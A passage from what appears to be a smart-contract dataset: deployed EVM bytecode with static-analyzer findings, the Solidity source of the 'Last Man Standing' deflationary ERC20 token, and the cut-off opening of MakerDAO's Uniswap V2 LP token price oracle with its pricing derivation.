35e565b5060208201516124fc60a085018261257d565b50604082015161250f60c085018261257d565b50505050565b60a08201600082015161252b600085018261257d565b50602082015161253e602085018261257d565b506040820151612551604085018261257d565b506060820151612564606085018261257d565b506080820151612577608085018261257d565b50505050565b61258681612ac4565b82525050565b61259581612ac4565b82525050565b60006020820190506125b060008301846122a1565b92915050565b60006020820190506125cb6000830184612292565b92915050565b60006040820190506125e660008301856122a1565b6125f360208301846122a1565b9392505050565b600060808201905061260f60008301876122a1565b61261c60208301866122a1565b612629604083018561258c565b612636606083018461258c565b95945050505050565b600060408201905061265460008301856122a1565b612661602083018461258c565b9392505050565b600060608201905061267d60008301866122a1565b61268a602083018561258c565b612697604083018461258c565b949350505050565b60006103a0820190506126b560008301886122b0565b6126c361032083018761258c565b6126d161034083018661258c565b6126df61036083018561258c565b6126ed61038083018461258c565b9695505050505050565b60006107a08201905061270d6000830185612307565b61271b61078083018461258c565b9392505050565b6000602082019050818103600083015261273b816123c4565b9050919050565b6000610200820190506127586000830187612491565b61276560608301866124d3565b612773610140830185612515565b6127816101e083018461258c565b95945050505050565b600060208201905061279f600083018461258c565b92915050565b600060e0820190506127ba600083018a61258c565b6127c760208301896122a1565b6127d4604083018861258c565b6127e1606083018761258c565b6127ee608083018661258c565b6127fb60a083018561258c565b61280860c083018461258c565b98975050505050505050565b6000604082019050612829600083018561258c565b612836602083018461258c565b9392505050565b6000606082019050612852600083018661258c565b61285f602083018561258c565b61286c604083018461258c565b949350505050565b600060a082019050612889600083018861258c565b612896602083018761258c565b6128a3604083018661258c565b6128b0606083018561258c565b6128bd608083018461258c565b9695505050505050565b6000819050919050565b6000819050919050565b6000819050919050565b600060059050919050565b600060149050919050565b600060059050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600081905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b600061296a82612ac4565b915061297583612ac4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129aa576129a9612b24565b5b828201905092915050565b60006129c082612ac4565b91506129cb83612ac4565b9250826129db576129da612b53565b5b828204905092915050565b60006129f182612ac4565b91506129fc83612ac4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a3557612a34612b24565b5b828202905092915050565b6000612a4b82612ac4565b9150612a5683612ac4565b925082821015612a6957612a68612b24565b5b828203905092915050565b6000612a7f82612aa4565b9050919050565b6000612a9182612aa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ae682612ac4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b1957612b18612b24565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b7f4e6f7468696e6720746f20776974686472617700000000000000000000000000600082015250565b612be881612a74565b8114612bf357600080fd5b50565b612bff81612ac4565b8114612c0a57600080fd5b50565b612c1681612ace565b8114612c2157600080fd5b5056fea2646970667358221220f9f6a641936ef577938b700adb4bf40227b105dbe0a61ceb0124d3688037390c64736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,071 |
0xA699f65Dba8fBA51036138C9B45579C1a7ABdf1e
|
// _ _ __ __ _____ _ _ _
// | | | | | \/ | / ____| | | (_)
// | | __ _ ___| |_ | \ / | __ _ _ __ | (___ | |_ __ _ _ __ __| |_ _ __ __ _
// | | / _` / __| __| | |\/| |/ _` | '_ \ \___ \| __/ _` | '_ \ / _` | | '_ \ / _` |
// | |___| (_| \__ \ |_ | | | | (_| | | | | ____) | || (_| | | | | (_| | | | | | (_| |
// |______\__,_|___/\__| |_| |_|\__,_|_| |_| |_____/ \__\__,_|_| |_|\__,_|_|_| |_|\__, |
// __/ |
// |___/
/*
* Last Man Standing is an Erc20 battle royale game.
* 5% of tokens will be burned on every transaction, similar to a rebase, these coins are burned permanently.
* Small limited 10,000 supply(NO DECIMALS). Minimum 1 LMS burned per transaction. Maximum 10,000 transactions possible.
* As supply shrinks, the price increases, but when will you take profit?
* Upon reaching 1 supply, the coin can't be sold.
* Can you avoid being the last man standing?
* Tg: t.me/LastManStandingGame
**/
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LMS is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Last Man Standing";
string constant tokenSymbol = "LMS";
uint8 constant tokenDecimals = 0;
uint256 _totalSupply = 10000;
uint256 public basePercent = 100;
// _ _ __ __ _____ _ _ _
// | | | | | \/ | / ____| | | (_)
// | | __ _ ___| |_ | \ / | __ _ _ __ | (___ | |_ __ _ _ __ __| |_ _ __ __ _
// | | / _` / __| __| | |\/| |/ _` | '_ \ \___ \| __/ _` | '_ \ / _` | | '_ \ / _` |
// | |___| (_| \__ \ |_ | | | | (_| | | | | ____) | || (_| | | | | (_| | | | | | (_| |
// |______\__,_|___/\__| |_| |_|\__,_|_| |_| |_____/ \__\__,_|_| |_|\__,_|_|_| |_|\__, |
// __/ |
//
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findFivePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 fivePercent = roundValue.mul(basePercent).div(2000);
return fivePercent;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findFivePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findFivePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
// _ _ __ __ _____ _ _ _
// | | | | | \/ | / ____| | | (_)
// | | __ _ ___| |_ | \ / | __ _ _ __ | (___ | |_ __ _ _ __ __| |_ _ __ __ _
// | | / _` / __| __| | |\/| |/ _` | '_ \ \___ \| __/ _` | '_ \ / _` | | '_ \ / _` |
// | |___| (_| \__ \ |_ | | | | (_| | | | | ____) | || (_| | | | | (_| | | | | | (_| |
// |______\__,_|___/\__| |_| |_|\__,_|_| |_| |_____/ \__\__,_|_| |_|\__,_|_|_| |_|\__, |
// __/ |
//
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
}
//* Still reading the contract? Well.. okay.. Uh... Here's Sonic?
// ...,?77??!~~~~!???77?<~....
// ..?7` `7!..
// .,=` ..~7^` I ?1.
// ........ ..^ ?` ..?7!1 . ...??7
// . .7` .,777.. .I. . .! .,7!
// .. .? .^ .l ?i. . .` .,^
// b .! .= .?7???7~. .>r . .=
// .,.?4 , .^ 1 ` 4...
// J ^ , 5 ` ?<.
// .%.7; .` ., .; .=.
// .+^ ., .% MML F ., ?,
// P ,, J .MMN F 6 4.
// l d, , .MMM! .t .. ,,
// , JMa..` MMM` . .! .;
// r .M# .M# .% . .~ .,
// dMMMNJ..! .P7! .> . . ,,
// .WMMMMMm ?^.. ..,?! .. .. , Z7` `?^.. ,,
// ?THB3 ?77?! .Yr . .! ?, ?^C
// ?, .,^.` .% .^ 5.
// 7, .....?7 .^ ,` ?.
// `<. .= .`' 1
// ....dn... ... ...,7..J=!7, .,
// ..= G.,7 ..,o.. .? J. F
// .J. .^ ,,,t ,^ ?^. .^ `?~. F
// r %J. $ 5r J ,r.1 .=. .%
// r .77=?4. ``, l ., 1 .. <. 4.,
// .$.. .X.. .n.. ., J. r .` J. `'
// .?` .5 `` .% .% .' L.' t
// ,. ..1JL ., J .$.?` .
// 1. .=` ` .J7??7<.. .;
// JS.. ..^ L 7.:
// `> .. J. 4.
// + r `t r ~=..G.
// = $ ,. J
// 2 r t .;
// .,7! r t`7~.. j..
// j 7~L...$=.?7r r ;?1.
// 8. .= j ..,^ ..
// r G .
// .,7, j, .>=.
// .J??, `T....... % ..
// ..^ <. ~. ,. .D
// .?` 1 L .7.........?Ti..l
// ,` L . .% .`! `j,
// .^ . .. .` .^ .?7!?7+. 1
//.` . .`..`7. .^ ,` .i.;
//.7<..........~<<3?7!` 4. r ` G%
// J.` .! %
// JiJ .`
// .1. J
// ?1. .'
// 7<..%
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101ee5780631e89d5451461021957806323b872dd146103725780632b05f0cb14610405578063313ce56714610454578063395093511461048557806342966c68146104f857806370a082311461053357806379cc67901461059857806395d89b41146105f3578063a457c2d714610683578063a9059cbb146106f6578063c5ac0ded14610769578063dd62ed3e14610794575b600080fd5b3480156100f757600080fd5b50610100610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bb565b604051808215151515815260200191505060405180910390f35b3480156101fa57600080fd5b506102036109e8565b6040518082815260200191505060405180910390f35b34801561022557600080fd5b506103706004803603604081101561023c57600080fd5b810190808035906020019064010000000081111561025957600080fd5b82018360208201111561026b57600080fd5b8035906020019184602083028401116401000000008311171561028d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156102ed57600080fd5b8201836020820111156102ff57600080fd5b8035906020019184602083028401116401000000008311171561032157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506109f2565b005b34801561037e57600080fd5b506103eb6004803603606081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a4c565b604051808215151515815260200191505060405180910390f35b34801561041157600080fd5b5061043e6004803603602081101561042857600080fd5b8101908080359060200190929190505050610eb3565b6040518082815260200191505060405180910390f35b34801561046057600080fd5b50610469610f04565b604051808260ff1660ff16815260200191505060405180910390f35b34801561049157600080fd5b506104de600480360360408110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1b565b604051808215151515815260200191505060405180910390f35b34801561050457600080fd5b506105316004803603602081101561051b57600080fd5b8101908080359060200190929190505050611152565b005b34801561053f57600080fd5b506105826004803603602081101561055657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115f565b6040518082815260200191505060405180910390f35b3480156105a457600080fd5b506105f1600480360360408110156105bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111a8565b005b3480156105ff57600080fd5b50610608611350565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064857808201518184015260208101905061062d565b50505050905090810190601f1680156106755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068f57600080fd5b506106dc600480360360408110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113f2565b604051808215151515815260200191505060405180910390f35b34801561070257600080fd5b5061074f6004803603604081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611629565b604051808215151515815260200191505060405180910390f35b34801561077557600080fd5b5061077e6118f5565b6040518082815260200191505060405180910390f35b3480156107a057600080fd5b50610803600480360360408110156107b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fb565b6040518082815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b15780601f10610886576101008083540402835291602001916108b1565b820191906000526020600020905b81548152906001019060200180831161089457829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108f857600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008090505b8251811015610a4757610a398382815181101515610a1257fe5b906020019060200201518383815181101515610a2a57fe5b90602001906020020151611629565b5080806001019150506109f8565b505050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a9c57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b2757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b6357600080fd5b610bb582600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c0383610eb3565b90506000610c1a828561198290919063ffffffff16565b9050610c6e81600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199b90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc68260055461198290919063ffffffff16565b600581905550610d5b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050509392505050565b600080610ecb600654846119b990919063ffffffff16565b90506000610ef86107d0610eea600654856119f490919063ffffffff16565b611a2f90919063ffffffff16565b90508092505050919050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f5857600080fd5b610fe782600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b61115c3382611a4a565b50565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561123357600080fd5b6112c281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134c8282611a4a565b5050565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113e85780601f106113bd576101008083540402835291602001916113e8565b820191906000526020600020905b8154815290600101906020018083116113cb57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142f57600080fd5b6114be82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561167957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116b557600080fd5b60006116c083610eb3565b905060006116d7828561198290919063ffffffff16565b905061172b84600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c081600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199b90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118188260055461198290919063ffffffff16565b6005819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019250505092915050565b60065481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561199057fe5b818303905092915050565b60008082840190508381101515156119af57fe5b8091505092915050565b6000806119c6848461199b565b905060006119d5826001611982565b90506119ea6119e48286611a2f565b856119f4565b9250505092915050565b600080831415611a075760009050611a29565b60008284029050828482811515611a1a57fe5b04141515611a2457fe5b809150505b92915050565b6000808284811515611a3d57fe5b0490508091505092915050565b60008114151515611a5a57600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611aa857600080fd5b611abd8160055461198290919063ffffffff16565b600581905550611b1581600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fea165627a7a7230582081da231aecac94d8f07d9b00e76d46bf108c1f946e71898d0a30f89e8d2de91e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,072 |
0xd7d31e62ae5bfc3bfaa24eda33e8c32d31a1746f
|
// SPDX-License-Identifier: GPL-3.0-or-later
/// UNIV2LPOracle.sol
// Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// A naïve approach to calculate the price of LP tokens, assuming the protocol
// fee is zero, is to compute the price of the assets locked in its liquidity
// pool, and divide it by the total amount of LP tokens issued:
//
// (p_0 * r_0 + p_1 * r_1) / LP_supply (1)
//
// where r_0 and r_1 are the reserves of the two tokens held by the pool, and
// p_0 and p_1 are their respective prices in some reference unit of account.
//
// However, the price of LP tokens (i.e. pool shares) needs to be evaluated
// based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values
// that give the two halves of the pool equal economic value:
//
// r_0 * p_0 = r_1 * p_1 (2)
//
// Furthermore, two-asset constant product pools, neglecting fees, satisfy
// (before and after trades):
//
// r_0 * r_1 = k (3)
//
// Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a
// manner that depends only on k (which can be derived from the current reserve
// balances, even if they are far from equilibrium) and market prices p_i
// obtained from a trusted source:
//
// R_0 = sqrt(k * p_1 / p_0) (4)
// and
// R_1 = sqrt(k * p_0 / p_1) (5)
//
// The value of an LP token is then, replacing (4) and (5) in (1):
//
// (p_0 * R_0 + p_1 * R_1) / LP_supply
// = 2 * sqrt(k * p_0 * p_1) / LP_supply (6)
//
// k can be re-expressed in terms of the current pool reserves r_0 and r_1:
//
// 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7)
//
// The structure of (7) is well-suited for use in fixed-point EVM calculations, as the
// terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit,
// should have reasonably-bounded sizes. This reduces the likelihood of overflow due to
// tokens with very low prices but large total supplies.
pragma solidity =0.6.12;
interface ERC20Like {
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface UniswapV2PairLike {
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast
}
interface OracleLike {
function read() external view returns (uint256);
}
// Factory for creating Uniswap V2 LP Token Oracle instances
contract UNIV2LPOracleFactory {
mapping(address => bool) public isOracle;
event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1);
// Create new Uniswap V2 LP Token Oracle instance
function build(
address _owner,
address _src,
bytes32 _wat,
address _orb0,
address _orb1
) public returns (address orcl) {
address tok0 = UniswapV2PairLike(_src).token0();
address tok1 = UniswapV2PairLike(_src).token1();
orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1));
UNIV2LPOracle(orcl).rely(_owner);
UNIV2LPOracle(orcl).deny(address(this));
isOracle[orcl] = true;
emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract UNIV2LPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized");
_;
}
address public immutable src; // Price source
// hop and zph are packed into single slot to reduce SLOADs;
// this outweighs the cost from added bitmasking operations.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
bytes32 public immutable wat; // Label of token whose price is being tracked
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (mem slot 0x3)
Feed internal nxt; // Queued price (mem slot 0x4)
// --- Data ---
uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals)
uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals)
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
// --- Math ---
uint256 constant WAD = 10 ** 18;
function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
